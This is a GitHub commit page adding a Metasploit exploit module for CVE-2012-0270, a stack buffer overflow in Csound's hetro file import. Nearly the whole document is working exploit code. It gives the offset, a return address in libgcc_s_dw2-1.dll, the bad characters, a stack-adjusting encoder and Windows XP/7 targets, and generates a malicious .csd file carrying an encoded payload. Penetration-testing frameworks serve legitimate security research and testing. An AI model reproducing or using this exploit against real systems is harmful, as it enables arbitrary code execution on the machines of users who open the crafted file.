Skip to content

Commit 56b10d4

Browse files
committed
Merge branch 'CVE-2012-0270_csound_getnum_bof' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2012-0270_csound_getnum_bof
2 parents 68c81e3 + 5c68565 commit 56b10d4

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a buffer overflow in Csound before 5.16.6.
20+
The overflow occurs when trying to import a malicious hetro file
21+
from tabular format.
22+
In order to achieve exploitation the user should import the malicious
23+
file through csound with a command like "csound -U het_import msf.csd file.het".
24+
This exploit doesn't work if the "het_import" command is used directly
25+
to convert the file.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Secunia', # Vulnerability discovery
31+
'juan vazquez' # Metasploit module
32+
],
33+
'Version' => '$Revision: $',
34+
'References' =>
35+
[
36+
[ 'CVE', '2012-0270' ],
37+
[ 'OSVDB', '79491' ],
38+
[ 'BID', '52144' ],
39+
[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
40+
[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
41+
],
42+
'Payload' =>
43+
{
44+
'Space' => 650,
45+
'BadChars' => "\x00\x0a\x1a\x2c\xff",
46+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
47+
'DisableNops' => 'True'
48+
},
49+
'Platform' => 'win',
50+
'Targets' =>
51+
[
52+
[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
53+
{
54+
'Offset' => 132,
55+
'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll
56+
}
57+
],
58+
],
59+
'Privileged' => false,
60+
'DefaultTarget' => 0,
61+
'DisclosureDate' => 'Feb 23 2012'))
62+
63+
register_options(
64+
[
65+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
66+
], self.class)
67+
end
68+
69+
def exploit
70+
sploit = rand_text(target['Offset'])
71+
sploit << [target.ret].pack("V")
72+
sploit << payload.encoded
73+
print_status("Creating '#{datastore['FILENAME']}' file ...")
74+
file_create(sploit)
75+
end
76+
77+
end

0 commit comments

Comments
 (0)